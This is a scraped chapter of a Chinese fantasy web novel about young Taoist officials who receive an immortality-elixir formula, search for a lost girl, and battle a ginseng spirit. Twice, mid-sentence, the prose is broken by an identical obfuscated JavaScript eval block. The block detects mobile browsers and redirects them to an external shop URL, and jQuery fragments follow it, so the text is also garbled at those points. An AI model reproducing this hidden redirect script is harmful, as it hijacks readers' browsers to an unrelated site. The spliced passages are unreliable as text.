张掖道:“不多,钦天监要为陛下炼丹,考核严格的很。寻常人家挤破头都想让自家子弟考进来,一万个人里只录取十个。一但进来了,前途就不可限量。几位小道爷被陛下亲自招纳到钦天监,实在让人羡慕得很,小人也为几位高兴!” 他说着连连叩头,一副仓皇的模样,生怕这些人再折磨自己。 伏顺一听,顿时觉得自己变得高贵起来,虽然都是从九品,但自己这钦天监司晨的含金量可比一般的城门官高多了。他还想跟张掖多聊几句,段星河打发道:“别跟他啰嗦了,来吃饭了。” 伏顺的心情好,便高抬贵手放过了他。他跟着段星河回了屋,一边道:“哥,晚上吃什么?” 段星河心不在焉道:“有什么吃什么。” 赵大海道:“对,二师兄家的饭好吃,什么都行,我不挑。” 李玉真揣着袖子,悠哉地跟在他们身后走了。张掖低着头伏在地上,眼中藏着一道阴狠的光。等人都走了,他才站起身来,像什么也没发生过似的,牵着马去马厩了。 次日一早,众人跟着步云邪去钦天监点卯。步云邪穿着官服,胸前带着鸬鹚的补子,乘上了一顶蓝呢官轿。其他人也各自穿着官服,骑马穿过晨雾弥漫的街巷,一个庄严的院落出现在前方。大门宽阔,屋顶铺着碧色的琉璃瓦,正面悬挂着一块黑底金字的匾额,上头写着钦天监三个大字。 几名侍卫挎着刀守在门前。步云邪下了轿子,侍卫便行礼道:“拜见大人。” 其他几人下了马,跟着步云邪走进大门。庭院广阔,松柏掩映着正面的屋舍,大殿里挂着一块先帝赐的匾额,上头写着观象授时四个大字。 大家头一次来钦天监,都十分好奇。步云邪带着他们走了一圈,后面有几排办公的屋舍,又有一个开阔的观星台,两道汉白玉的石阶分左右通向高处,上面放着一个铜铸鎏金的浑天仪,四条龙捧着中间的三重球形轨道,还有许多叫不上名字的仪器,旁边又有些观星的千里镜。 大家只从书上见过浑天仪。今日亲眼见了,知道方知它有多精密贵重,心中暗自感叹皇家气派,就是非同凡响。 院子的西侧有个藏书阁,步云邪穿过重重的书架,拿了几张羊皮地图。屋里弥漫着一股陈旧的气息,段星河拿起一本书,封皮上写着神州风物志,里头画满了奇形怪状的动物、植物,标明了习性和产地,跟山海经似的。步云邪走了过来,站在旁边看了片刻,道:“嗯,这本书有用,带上吧。” 一群人从藏书阁出来,一名漏刻博士走过来,行礼道:“步大人,李司正在珍宝阁等您。” 步云邪点了点头,道:“走吧。” 赵大海道:“干嘛去?” 伏顺还挺机灵的,道:“肯定是给咱们长生丹的方子,前几天陛下亲口吩咐的,你梦游呢什么都不知道?” 赵大海搔了搔头,这几天确实光想着一天三顿吃什么了。他当上官了虽然高兴,但也没有太大的切实感。反正大师兄去哪儿他就跟着去哪儿,准没错。 珍宝阁是一个五层的石楼,里头收藏着各种奇巧名贵的东西,外头守卫森严。众人登记了姓名,这才进去了。 石楼里阴凉幽暗,一行石阶向上通去。这里的宝贝众多,怕走了水,因此通体用石头打造,与其说是个楼阁,不如说是个石塔。此处禁用明火,基本靠天光照亮,墙壁上又镶嵌了些黄铜爪座,托着一颗颗硕大的夜明珠储光,夜里也能看得见。 走到顶层,前方陡然开阔。段星河抬起头来,见上方是个八角形的穹顶,上头用深蓝色的琉璃和白水晶排列出二十八星宿的图样,如同夜空一般,瑰丽而又神秘。 周围摆着些鸡翅木的架子,上头陈列着小巧的泄水漏刻、机械自鸣钟,又有百年前某位大能用过的罗盘和法袍、一柄太极八卦剑、几面绣着风雨雷电符文的令旗、一只黄金的降魔杵,还有些叫不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161409|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名字的法器,琳琅满目的让人目不暇接。 伏顺伸出一个手指,戳了戳一个莲花形状的黄铜小钟。花瓣叮地一下张开了,里头一个水晶人偶穿着小裙子,双手高举过头顶,旋转着在花心里跳舞,钟表发出了叮叮咚咚的音乐。 屋里原本安安静静的,钟一响,所有人的目光顿时都聚集过来。伏顺手忙脚乱地想让它停下来,却找不到机关。他有些尴尬,讪讪地道:“我……我就摸了一下,这玩意儿是不是坏了?” 李司正背着身站在上首,闻声转过身来,眼神里带着点讥诮,仿佛觉得这些乡巴佬就是没见过世面。他身边的侍卫走了过来,找着个按钮一按,声音停了下来,花瓣渐渐合上了。 众人走过去,行礼道:“拜见司正。” 李如芝审视了他们一眼,神色冷漠。他心里十分讨厌这几个野道士,奈何陛下被蒙蔽了心窍,偏要信任他们。他从腰上取下一个八角形的金属块,嵌进墙里转动了几下,打开了机关。 一个凹槽露了出来,他从中取出了一个白玉匣子,打开了搭扣。他从里面拿出了一个纸筒,筒外面用火漆封印,盖着钦天监的印章。 这纸筒散发着一股陈旧的气息,似乎已经被封存了许多年了。李司正把那个纸筒递了过来,道:“这就是长生经,里头记载着御龙长生丹的药方。此物十分珍贵,若是弄丢了,便是诛九族的大罪。” 步云邪双手接了过去,道:“多谢陛下厚爱,我等一定不负嘱托,早日炼成金丹。” 李司正冷冷道:“你们带着钦天监的腰牌,在大幽十郡内能免费入驻驿馆,买了药材可以报账。每过半年至少要上交一次成果,以及向朝廷写书面报告。若是三年内炼不成金丹,陛下饶不了你们。” 步云邪神色平静,道:“属下明白了,司正还有其他吩咐么?” 李司正冷冷道:“没了,你们去吧,路上多保重。” 众人行礼退了下去,李如芝脸色阴沉,仿佛还很不痛快。他身边的侍卫道:“大人莫气,一帮乌合之众而已,他们得意不了多久的。” 李如芝哼了一声,沉声道:“这一路上的妖魔鬼怪多着呢,让他们去吧,有他们难受的时候。” 回到了住处,步云邪回书房打开了纸筒,从里头取出了长生经。封面是用羊皮制成的,里头的书页是丝绢制的,过了这么久依旧保存的很好。步云邪翻了一遍,里头有二十来个方子,都玄奇奥妙,用的材料也很罕见。他翻到最后一页,上头以金红朱砂赫然写着一行字,御龙长生丹。 众人十分好奇,不知道这么神妙的丹药需要什么药材,都凑过来看。 灯火照在丝绢上,见上头写着:千年人参五钱,雷震子五钱,青龙竭三钱,白虎须三钱,朱雀烬三钱,玄武霜三钱,以忘川之水调匀,逢春季六甲日入炉,炼制九九八十一天乃成。服之立时脱去三尸,渡劫至大乘境界,寿与天齐。 众人你看看我,我看看你,都有点摸不着头脑。伏顺道:“这都是什么劳什子,我就认识一个千年人参……这玩意儿也不好找吧,百年的人参都挺贵的了,千年的得多少钱?” 李玉真揣着袖子道:“草木五百年可化作人形,千年的早就成精了,满地跑的贼快,哪能轻易让人逮去炖了。” 赵大海搔了搔头道:“雷震子是什么,年画上的那个么,周文王的干儿子?” 众人想起了年画上青面獠牙,长着双翅的雷震子。步云邪寻思道:“应该就是乌灵参,黑色的像小葫芦一样,一打雷就会滴溜溜地打转。” 这些药材确实够奇特的,段星河道:“既然是药材,总能找到的吧。” “不好找,”步云邪沉吟道,“这东西长在白蚁废弃的巢穴里,藏在地底下。巢穴废弃久了,没了养分,乌灵参会枯死。刚废弃不久的巢穴里才有,品质高的更是千金难求,得碰运气。” 段星河道:“这青龙竭、朱雀烬之类的又是什么?” 步云邪寻思了一下,道:“那些应该是四圣兽身上的东西。” 四圣兽禀天地灵力而生,象征着四方四象。众人感觉事情越发复杂了,伏顺好奇道:“这世上真的有圣兽么?” 李玉真道:“你们外面的世界或许没人见过圣兽,但这边确实有。有人曾在夷州见过青龙,腾云驾雾的见首不见尾,一眨眼就不见了。蜀山的护山神兽就是朱雀,那边的弟子都见过。其他的我不太清楚,但应该也是有的。” 这个世界诡异雄奇,有四圣兽镇守也不奇怪。但要从它们身上谋求这些东西,无异于与虎谋皮,普通人恐怕还没靠近它们就被撕碎了。 难怪李司正说他们得到方子也炼不成,能拿到这些药材的人,本身就拥有极其强大的力量,能降服四圣兽,与真正的神仙也相差无几了。 众人有些犯难,现在才意识到皇帝给他们派了个几乎不可能完成的任务。段星河倒是清醒得很,庆熙帝能纵容手下官员到处抓人、采石试药,就已经不值得效忠了。哪怕他是天王老子,对于段星河来说也不如自己的家人重要。 他淡淡道:“别想那么多了,这药炼不炼的成都不打紧,重要的是要把小师妹找回来。只要找到了小雨,咱们也不必再当什么司业司晨,官袍一脱,立刻回去。” 伏顺还舍不得这里的荣华富贵,好不容易当上官了,想好好显摆显摆。赵大海却道:“是啊,赶紧找到小师妹,赶紧回去。咱们失踪了这么久,师娘一定急坏了。” 李玉真没说什么,却觉得这世界这么大,一个十岁左右的小女孩不知流落到了什么地方,要找到她无异于大海捞针。不如先把钦天监的活儿干着,也能混点钱活下去。 段星河道:“咱们先在大幽境内找一找,找不到就去别的国家看看。阿云,你对这个世界的风土人情了解么?” 步云邪在钦天监待了这段时间,把这个世界的事都摸的差不多了。他拿出一张羊皮地图铺在桌上,灯光照亮了地图,上面画着几个国家,还有些丘陵、河水的符号。大陆上的人以农耕为主,大多崇尚修仙。海外的岛上有金发碧眼的罗刹国人,擅长机关之术,宫里的一些自鸣钟、千里镜之类的小玩意儿就是从那边传过来的。 步云邪指着地图道:“这片大陆上有五个国家,分别是大幽,燕丘,夷州,巴蜀和大新。其中大幽有十个郡,其他的地方也分为各个郡县。各地信仰的神都不一样,北边是燕丘,信仰萨满教,都是草原,百姓以放牧为生,骑兵骁勇善战。燕丘西南这片地区是夷州,潮湿荒蛮,百姓多是夷州部落的人,擅长咒术、巫蛊,把夷州王当做神明转世来信奉。西边是巴蜀,蜀山位于此处,是天下正道宗门的龙首。东南是大新,那里的情况李兄应该比较清楚吧。” 李玉真道:“大新跟这边差不多,一共有九个郡,都城很繁华,自上而下都崇信道教,多数修真者都修正法,比起其他几个国家来说算是安全的。” 段星河寻思了一下,道:“大幽信仰什么?” 步云邪从书架上翻了翻,找到了一张画轴摊开,星空下一条黑色赤眼的巨蛇仰头向天吐出呼吸,形成了世间万物。他说:“这里信仰虺神,认为虺神创造了整个世界,又说大幽是这个世界的中心,看地图就知道是胡扯八道了。骗骗不识字的百姓还行,但凡有点见识的人都不信这套说辞。” 这地方的神灵众多,宗门林立,有点百家争鸣的意思。逍遥观原本信奉的是三清,算是跟蜀山同源。段星河跟虺神打过交道,知道那条大蛇邪恶得很,这里的皇帝信奉它,也算是同气相求了。 他们都只是小人物,为了活下去,不得不跟上位者虚与委蛇。如今他们有了钦天监的身份,寻找小师妹也更加方便。段星河看着地图,道:“咱们明天出发,就一路往西走吧。” 其他人答应了,李玉真道:“那炼丹的事呢?” 步云邪道:“每隔半年交点丹药应付一下就行了。皇帝给了三年时间,够咱们把这片大陆走一遍的了。” 伏顺寻思了一下,道:“反正要到处旅行,顺便赚点钱吧。在这里挣的钱能带到原来的世界去吗?” 李玉真道:“可以的,我带出去过。” 一群人的眼睛顿时亮了起来,逍遥观那么多人都靠师父卖药养活,日子实在过得捉襟见肘。他们出来这几年,若是能挣些钱带回去,修修房子、给师弟妹们改善一下生活,也不算虚度了。 大家商议定了,对未来充满了希望。步云邪道:“那就这么决定了。今天早点休息,明天出发去找小雨。” 10.长生观 一 清晨,一行人收拾停当,准备开始旅程了。 段星河穿着一身墨蓝色的官服,腰里扎着蹀躞带,勾勒出结实的身形。他头上戴着网巾,头发梳了个道髻,显得轮廓越发俊朗。 终于能离开都城了,步云邪索性连官服也不穿了。他换了一身白色的窄袖袍,外头罩着一件深蓝色的云雾绡,头发用却邪束了个马尾,暗红的发带和蓝色的纱袍飘飘荡荡的,颇有一派魏晋之风。 李玉真穿着一件白色的小袖道袍,外头套着件浅青色绣金线松叶纹的搭护,相当宽松自在。他起得太早了,还没睡醒,此时正靠在马车里打瞌睡。伏顺坐在他对面,把官服穿的整整齐齐的,十分自豪。 车上除了人坐的地方,都塞得慢慢的。上面载着他们露宿用的帐篷、锅碗瓢盆、粮食补给。步云邪骑着一匹黑色的骏马,段星河骑上了一匹白色的骏马,车前还套着两匹黄骠马,都肌肉饱满,十分健壮。赵大海穿着一身铁灰色的粗布棉袍,头上戴着个大毡帽,一跃坐上了车夫的位置,手里的鞭子往地上一抽,亮开嗓子喊了一声:“走喽——” 寒风吹来,马车缓缓地向前驶去,在初冬时节开始了他们的旅程。 一群人离开了都城,往南走了三天,来到了望海郡。段星河刚来时,便被龙卷风卷到了这里的海滩上。此时听着远处大海的浪涛声,仿佛看见了白色的浪花一层层涌上金色的沙滩,颇有些怀念。 众人打算在这里停留一段时间,打探魏小雨的下落,顺便收集些药材。 朝廷派出来办事的人住驿馆免费,大家驾着车来到了城中。此时正是黄昏时分,街上有不少行人。段星河停下来向一人打听道:“这位老丈,请问驿馆怎么走?” 那老头儿头发胡子都白了,正拄着拐杖坐在家门口打瞌睡,见这几个人身穿官服,顿时吓清醒了。他颤巍巍地站起来,指了个方向,道:“官爷往前走,到头便是望海郡的府衙,旁边就是驿馆。” 段星河抱拳道:“多谢。” 他说着话,忽然感觉有人拽自己衣角,低头一看,却是一个五岁左右的小男孩儿伸着小胖手,好奇地摩挲着他衣角上绣着的星宿纹样。他刚刚蹲在旁边玩泥巴,手上沾满了沙子和泥浆,一边道:“星星,衣服上有星星。” 步云邪在一旁笑了,眉眼温柔道:“对啊,衣服上绣着星星,好看吧。” 小孩儿点了点头,眼睛亮晶晶的。孩子的奶奶吓了一跳,连忙快步过来,把孩子抱了过去,道:“对不住官爷,小孩儿不懂事,不是有意冒犯的。” 段星河微微一笑,道:“没事。” 他和步云邪骑马向前走去,赵大海赶着大车跟在后面。一群百姓见了他们,纷纷让到路边。有人小声道:“是钦天监的人,给皇上效力的。” 那老爷子道:“带头的那小伙子还挺和气的,长得也俊。” 他家老婆子把小孙子往上掂了掂,道:“还是旁边那个穿白衣裳的少年郎好看。这么年轻就吃上皇粮了,真好啊。” 小孙子道:“星星、我也要星星。” 老爷子咧嘴笑了,伸手摸了摸他的头,道:“好好念书,锻炼身体,以后考进钦天监了,你的衣服上也能绣星星。” 路边的大槐树下,两个下棋的大爷望着那边,感叹道:“我家儿子要是这么有出息就好了。” 另一人道:“我那侄子都快四十岁了,还是个秀才呢,到现在什么也考不上……唉,跟人家没法比。” 段星河往前走了一阵子,找到了驿馆。他翻身下马,出示了腰牌。侍卫道:“开车门,照例检查。” 李玉真在车里睡得昏天黑地的,伏顺在车里闲得无聊,也睡着了。段星河打开了车门,道:“醒醒,到地方了。” 李玉真揉了揉眼睛,看着外面道:“啊……天黑了。” 侍卫看了一眼车厢里的东西,放了行。马车进了驿馆,驿丞听说给皇帝炼长生丹的人来了,不敢怠慢,连忙出来迎接。帐篷之类的太重了,段星河没卸车上的东西,只提了随身的行李去了厢房。 众人刚坐下,便见驿丞满面春风地来了。他行礼道:“钦天监的大人来了。在下望海郡驿丞李俊,有失远迎,还望恕罪。” 一离开都城,步云邪就什么也不管了。他本来就是闲云野鹤一般的性子,把跟人打交道的事都扔给了大师兄。 段星河一表人才,气度不凡,一看就是这一行人的领袖。他道:“在下段星河,跟几位师弟初来此处,还请李兄多指点。” 钦天监的人都是皇帝面前的大红人,李驿丞以为他们必然都眼高于顶,没想到这几个少年人这么客气。他微微一笑,道:“指点不敢当,各位大人需要什么,只管吩咐。咱们陛下笃信道教,大幽境内的驿馆都有丹炉。钦天监的大人们在外收集了药材,常会就近寻找驿馆炼制丹药。咱们这里也负责给宫里送书信,炼好的丹药用火漆印信封好了,由咱们送到宫里去。大人们也可在驿馆领月钱、领物资、报账。” 驿馆不光能提供免费的食宿,还能领工钱、上交丹药和文书。段星河跟步云邪互相看了一眼,觉得挺方便的。 步云邪想采点草药练练手,道:“我们打算在这里住一段时间,附近有什么出产药材的地方么?” 李俊当了十多年驿丞了,对此处的风物了若指掌,热情道:“望海郡东南有个芸香山,山上百草繁茂,除了芸香草之外,还有许多珍稀药材。有些上百年的草木修出了人形,常常以戏弄采药人为乐,甚至会把人从山上推下去。那些精怪不讲究人类的道德,各位若是遇上了,可千万不要被它们骗了。” 段星河道:“还有么?” 李俊想了想,又道:“西边还有一座玄武山,那边的人性情有些古怪,不太跟外人交流。据说山中有许多天材地宝,但也更凶险一些。几位大人若是去,可要多加小心。” 段星河心里有了数,道:“多谢李兄。” 李俊道:“不必客气,等会儿有人给几位送饭,有事来找我就是。” 他起身出去了,赵大海倒了杯水喝,道:“大师兄,明天去外头找小师妹么?” 段星河道:“明天去买点补给,问问小雨的下落。” 步云邪拿出了那本长生经,靠在床头翻看内容。里头不光有道家的方子,还有祆教的、密宗的、苗疆的,还有些杂七杂八的方子。步云邪找到了一个彝族的解毒方子,发现药材和配比完全准确。他的神色认真起来,这本书虽然古旧,却十分可信。能被钦天监像宝贝一样珍藏这么久,确实是一本奇书。 “照着这方子炼,说不定真的能炼出长生丹来。” 步云邪抬眼看着段星河,道:“星哥,你想不想试一试?” 步云邪是丹修,炼成金丹白日飞升对他来说,自然是极具诱惑力的。段星河道:“你喜欢就炼吧,先来个简单点的试试。” 步云邪翻了翻,别的方子都一长串,他找了个短一点的,念道:“甘露丹,服用可以清净身口意的不敬,使人不受一切恶疾的侵袭,抵御各种灾难,利于修行,增长福寿……有这么多好处?” 段星河道:“需要什么东西?” 步云邪念道:“需要无数佛菩萨稀有佛宝舍利,以及历代祖师、法王、大成就者舍利炼制。” 李玉真忍不住道:“有佛祖舍利还做药干什么,这不是拿稀世宝玉拿来车珠子吗?” 其他人也有同感,步云邪道:“还有个简易版的,效果打点折扣。需要高僧的头发五钱,法王的指甲五钱,大成就者的袈裟灰五钱。” 众人:“……?” 段星河道:“等等,高僧的头发是怎么回事?” 李玉真沉吟道:“有些高僧忙于修炼,疏于打理,有点头发应该也是合理的。” 步云邪继续念道:“大小香各三钱,以红白菩提水调和……” 伏顺道:“大小香是什么,红白菩提水又是什么?” 步云邪也陷入了沉默,仿佛难以启齿,道:“算了,还是看看别的药吧。” 行走在外,免不了磕磕碰碰的,还是做点生肌止血和补气的药实用。他翻到一页,道:“就做这个大还丹吧。” 段星河看了一眼,见上头写着人参、当归、三七等物,正常多了。他道:“李俊不是说芸香山上草药多么,有空咱们去一趟。” 众人在驿馆休息了一天,隔天去街上买了些补给,分头打听魏小雨的消息。 “这位大姐,请问你有没有见过一个小女孩,这么高,十一岁,大概是三个月前走丢的……” 对方摇了摇头,挽着菜篮子走了。段星河拿着画像在街上问了几个人,百姓们纷纷摆手,都说没见过那么一个小女孩儿。打听了一下午,一无所获,段星河站在街头望着远处,心里很不好受。天就要冷了,她一个小姑娘,孤零零地在一个陌生的世界要怎么过? “大师兄。” 段星河回过头,见步云邪站在身后。他穿着一身浅蓝色的衣袍,脸被寒风吹得有些发白,担忧地望着他。伏顺买了一只烧鸡,另一只手里提着一包花生米。赵大海对他的马爱惜的不得了,买了几个新鞍子,又买了新鲜的胡萝卜和一大口袋黑豆,打算回去给它们加餐。 李玉真没什么想要的,揣着袖子站在一边,道:“我刚才把告示贴出去了,提供有效线索的赏银五十两。一有消息,驿馆就会通知咱们的。” 众人一起往回走去,天色灰蒙蒙的,空气中的寒意越明显了。段星河心中安慰自己:“只要不放弃,总能找到的。” 他们在城里找了三天,一直没有线索。段星河想应该不在城里了,打算去远一点的地方看一看。赵大海驾车,和他们往东南方向走,一路上遇见村落,他们便停下来,跟在田里劳作的村民打听小雨的消息。村民都摇着头,说没见过这样一个小女孩。 走到下午,来到了芸香山。此时已经是初冬了,山上的草木大部分都凋零了,但还有一些在地下过冬的根茎值得一挖。附近有不少人来山上采药,山坡上被人踩出了小径。一行人沿着小路上了山,站在山顶上向东边望去。大海在远处澎湃,蓝色的海水跟天空连成一线,让人心旷神怡。 赵大海感叹道:“真好看啊。” 他虽然叫大海,却没怎么见过海。李玉真看了片刻,拿起药锄道:“是挺好看的。天快黑了,还是先干活吧。” 来之前步云邪给他们看了百草经,教给他们山上可能会有的草药叶子什么形状,花什么颜色,果实长什么样。伏顺看着书上的插图,道:“三七跟人参长得这么像,在野外不好区分啊。” 步云邪道:“所以三七又叫假人参啊,价格也不便宜,挖到哪个都算你赚了。” 段星河一眼抓住了关键,道:“根长得不一样,三七圆胖一点,人参的根长长的,你没见过师父用人参泡的酒吗?” 伏顺想了想,觉得自己也未必有那么好的运气,能挖到什么千年何首乌、万年人参什么的,顶多刨个野萝卜,想那么多也没用。 一群人在山上散开了,约好了一个时辰后回到这里集合。他们都带着哨子,遇到危险能够求救。段星河和步云邪、李玉真去了东边,伏顺和赵大海去了南边的山坡上。 此时山上还有些耐寒的植物,伏顺拨开草丛,半天也没找到值钱的草药。前头的草丛里生着一大片决明子,他把变脆的果荚折了下来,收到腰上挂着的麻布口袋里,喃喃道:“有就比没有强,有什么采什么吧。” 赵大海抬头看着周围的树木,发现了一大串像小葡萄一样的紫色果实,道:“女贞子?” 女贞子是补阴之最,此时正好是它的成熟期,树上一串串的都是它的果实。赵大海摘了不少,放在了身后的背篓里。伏顺蹲在地上,顺着叶子找到了一颗黄精,刨开了土,挖出了一只巴掌大的根。 黄精又叫仙人余粮,修道之人常吃它来辅助辟谷。伏顺掰了一小块,吃在嘴里甜甜的,又有点麻。就算炼药用不上,卖给药店也能赚不少钱。 他拿着黄精对赵大海炫耀地晃了晃,道:“怎么样,运气不错吧。” 赵大海道:“挺好的……哎?” 他说着话,眼睛盯着他身后,一副惊讶的表情。一个三岁左右的小男孩躲在一棵大树后,头上顶着几个红果子,探头探脑地看着他们。他身上散发出一种特异的香气,有点苦又颇有穿透力。伏顺也闻见了,回头一看,就见那个小孩儿对他做了个鬼脸,转身就跑。 伏顺耸了耸鼻子,道:“我的天啊,该不会是碰上人形的人参了吧。” 这么大个的人参价值简直不可估量,赵大海意识到他们要发财了,拔腿就追,伏顺慌慌张张地跟了上去。 人参精在草地里蹦蹦跳跳的,绕着一棵大树转了好几圈,不时还捡起几块小石头砸过来。它在这里生活了许多年,对地形十分熟悉。两个人被它遛得气喘吁吁的,人参精却一副挑衅的表情,很不喜欢这些人类闯到它家里挖来挖去的。 之前驿丞就说,芸香山里有草木成了精,时常会捉弄采药人,甚至会把他们骗到山崖上推下去。它跑了这一阵子,果然来到了山崖边上,看来是不怀好意了。 双方对峙着,各怀鬼胎。伏顺低声道:“快抓住它,这玩意儿可遇不可求,绝对不能放过!” 赵大海藏在草丛里,趁它不备向前一扑,人参精被他扑住了,尖叫着挣扎起来。伏顺记得老人说,遇到人参精要拿红线系住,要不然它就钻到土里逃走了。他大声道:“红绳……二师哥的发带是红的,他人呢!” 赵大海死死地拽着人参精,那家伙踢了他几脚,蹬得赵大海脑瓜子嗡嗡的。他快撑不住了,道:“快点啊——” 伏顺一时间手忙脚乱,嘴里衔着哨子一顿乱吹,想叫人来帮忙,一边过去按住了人参精。人参精发出了尖锐的叫声,就像刀片刮过耳膜一般,让人浑身的寒毛都竖起来了。 人参精憎恨地盯着他们,三岁小儿般的脸骤然变成了八十岁老人的模样,满脸都是皱纹,大嘴裂开到耳根,露出一排森森的白牙,朝伏顺的手上咬过去。伏顺惨叫了一声,一块肉被它咬了下来,甩着血淋淋的手跳了起来。赵大海吓了一跳,道:“你没事吧!” 人参精一仰脖子,把他的肉吞了进去,嚼得啧啧有声。伏顺没想到这家伙凶性这么大,看来不是头一次吃人肉了。刚才它蹲在大树后面,说不定就是把他们当成了猎物,伺机要偷袭他们。 伏顺一块肉都被它撕下来了,更不能放过这小妖怪了。他低头见赵大海的裤腰带是红的,来不及多说,上去就扯他腰带。赵大海按着人参精趴在地上,有点慌了,道:“喂,你干什么,别趁人之危啊!” 伏顺道:“少废话,再坚持一下!” 他把腰带抽下来,要往人参精身上系。人参精急了眼,发出了震耳欲聋的嚎叫。 “嗷嗷嗷嗷嗷嗷——” 两人都感觉自己的耳膜要被撕裂了。赵大海的力气稍微一松,它扭动着身体,脑袋往地里一扎,瞬间消失了。 赵大海低头看自己的怀里,还抱着那小妖怪的两条腿。都说蜥蜴会断尾,没想到妖怪遇到危险也能舍下半截身子不要。两条白嫩的腿没有流血,却泛着淡淡的灵光。片刻灵光散去,肉身化成了半截人参,足有半尺长,上头生满了细细的须子。 两人互相看了一眼,一时间还不敢相信发生了什么。就算没抓住一整个人参精,捞着半截也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187325|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很不得了了。伏顺从地上捡起一根脱落的须子,小心翼翼地抿进嘴里,一阵微苦的香气充满了口腔,吞咽下去顿时感觉神清气爽。他砸了咂嘴,寻思着这一口少说得值一百两银子了。 他又去人参精消失的地方挖了挖,里头什么也没有。这小妖怪擅长土遁,一眨眼功夫就不知道去哪里了。 身后传来一阵脚步声,段星河等人听见了哨声,赶了过来。 “怎么了?” 赵大海坐在地上,灰头土脸的。伏顺的手上缺了一大块肉,浑身血淋淋的。他故意道:“大师兄,你怎么才来啊,我们刚才遇上了妖怪,差点被吃了。” 段星河一听见哨声就赶紧往这边跑,奈何离得太远。他从怀里掏出金疮药,过去给他敷在伤口上,一边道:“是什么妖怪?” 伏顺虽然疼得厉害,心里却藏不住兴奋,道:“人参精!” 赵大海献宝似的把捂着的半截人参露出来,露出了憨厚的笑容。这两个人一搭一唱的,还会卖关子。段星河拿着的药瓶一抖,金疮药撒了伏顺一手。 其他人也十分惊讶,围上去看,见半截人参有儿臂那么粗,生的十分结实。能长成这样,这人参应该有不少年头了。步云邪道:“怎么回事?” 伏顺把刚才的事说了一遍,众人都对他俩刮目相看。李玉真竖起了大拇指,道:“成了精的人参少说得有一千年的修为了,你们连它都能撅半截,属于乱拳打死老师傅了。” 他们俩无知者无畏,全凭着一股莽劲儿办成了事。要是运气不好,被那妖怪活吃了也有可能。 段星河道:“下次别这么莽撞了。” 伏顺也有点心有余悸,道:“没下次了,我这一辈子的胆量都用完了。” 众人笑了起来,步云邪从头上解下了却邪,绑在了那半截人参上,放进了背篓里。他站起身,后知后觉地道:“哎……咱们这就找到千年人参了?” 段星河想起了长生丹的方子,头一味药就是千年人参。前几天他们还觉得根本不可能找得到,没想到这就到手了。众人面面相觑,忽然觉得其他药材可能也不难找,多走几个地方,说不定就能凑齐了呢? 天色渐渐暗下来了,一群人下了山,坐着车往回走。伏顺今天立了大功,又负了伤,觉得十分荣耀,忍不住跟别人比较。他道:“李兄,你挖到什么东西了么?” 李玉真打开药篓子,露出一大串天门冬,道:“喏,就这些。” 伏顺道:“挺好的了,大师兄找到什么了?” 李玉真指着堆在车上的半截胳膊粗的紫檀树,道:“这个啊。” 伏顺想起来了,刚才段星河是背着半截小树过来的。这紫檀木虽然不粗,但也能卖不少钱了。他搔了搔头,道:“大师兄运气还挺好的,二师兄呢?” 李玉真道:“他刚才去海滩那边了,捡了两个砗磲和一块玳瑁壳,有人会收去做首饰。还捡了几个珍珠贝,开到几个丑珠子,药材铺也收的。” 伏顺得意起来,觉得还是自己的运气最好。李玉真一手托着腮,又道:“他还捡到一块龙涎香,有巴掌那么大。那玩意儿比黄金还贵呢,卖了够寻常人家活半辈子的了。” 伏顺倒吸了一口气,没想到上天这么眷顾二师兄。大家被大风刮到这里来,都被关进了采石场,只有他平步青云当上了大官,这回又是随随便便就捡到了龙涎香。不愧是九代单传的祭司,祖上世代积德,运气都点满了。 李玉真道:“他刚才回来的时候说,在山脚下的草丛里看到一些白骨,旁边还有药篓子和布鞋,应该是来采药的人。尸体都被野兽啃干净了,大概是从悬崖上掉下来的。” 虽然不排除有人失足自己落下去,也有人是被山里的精怪推下去的。这些小妖怪没有人类的情感,只知道要把闯进来的东西驱逐出去,能吸取养分的就吞吃掉。伏顺想起了那人参精露出森森白牙的模样,手上的伤口又剧烈地疼了起来,心里有些后怕。 赵大海赶着大车,入夜之前回到了驿馆。众人休息了一天,步云邪把用不着的药材卖给了药铺,拿钱买了些需要的东西。他经过庭院,见伏顺的手上缠着绷带,包的像个粽子一样,一只脚蹬在石凳子上,正在和几个人吹嘘他跟芸香山的妖物大战三百回合的事迹。 “我一个鲤鱼打挺起来,左手揪住那怪物,哐哐哐举拳就打。那妖怪挨了我七八拳,满脸都是血,大声哭着喊好汉饶命。我一时心软,就停了下来。没想到那妖物不讲武德,张开嘴就把我的手咬了一口,疼死老子了。” 几个仆役搂着笤帚听得入了迷,纷纷道:“然后呢?” 伏顺道:“我撒开了手,它一扭身子,变成了一个……” 步云邪轻咳了一声,提醒他别乱说话。伏顺意识到说千年人参未免太招眼,会被人惦记上。他道:“就变成了一只老鼠精,钻进地洞里逃跑了。” 众人都十分失望,一人嗐了一声,道:“我还以为是什么怪物,讲半天跟一个老鼠精打的有来有回的。” 另一人道:“就是,不知道的还以为是武松打虎呢,结果是只老鼠,逗我呢。” 伏顺道:“老鼠咬人也挺疼的啊,不服你去跟它干一仗试试。” 步云邪走过来,道:“你手不疼了?” 众人回过头来,纷纷行礼道:“步大人。” 步云邪嗯了一声,道:“都去忙吧,别在这儿杵着。” 其他人都散了,步云邪和伏顺一起往回走去。步云邪道:“少吹两句吧,让人盯上了你就高兴了。” 伏顺搔了搔头,道:“我就随便一说,没人会当真吧。” 